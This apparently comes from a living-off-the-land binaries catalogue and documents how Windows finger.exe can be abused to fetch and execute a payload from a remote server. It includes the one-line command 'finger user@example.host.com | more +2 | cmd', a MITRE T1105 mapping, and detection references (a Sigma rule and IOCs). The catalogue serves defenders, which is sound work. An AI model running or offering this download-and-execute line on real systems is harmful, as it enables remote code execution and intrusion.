Finger.exe

Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.

Use Download malicious payload

finger user@example.host.com | more +2 | cmd

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_finger_usage.yml

IOC: finger.exe should not be run on a normal workstation.

IOC: finger.exe connecting to external resources.

Refs

twitter.com/DissectMalware/status/997340270273409024

docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11)

lolbas-project.github.io/lolbas/Binaries/Finger/